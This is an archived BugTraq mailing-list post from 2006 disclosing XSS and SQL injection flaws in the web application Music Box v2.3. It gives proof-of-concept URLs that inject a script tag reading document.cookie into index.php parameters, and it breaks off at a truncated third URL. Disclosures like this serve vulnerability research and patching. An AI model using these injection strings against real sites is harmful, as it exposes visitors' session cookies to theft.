Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs
BugTraq
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
XSS & SQL Injection in Music Box v2.3 Mar 24 2006 09:43PM
xx_hack_xx_2004 hotmail com
Hello
Vulnerable: Music Box v2.3
http://www.MusicboxV2.com

Exploit :
XSS :
http://example.com/music/index.php?id='><script>alert(document.cookie)</
script>

http://example.com/music/index.php?action=top&show=5&type='><script>aler
t(document.cookie)</script>

http://example.com/music/index.php?action=...

[ more ]  




 

Privacy Statement
Copyright 2009, SecurityFocus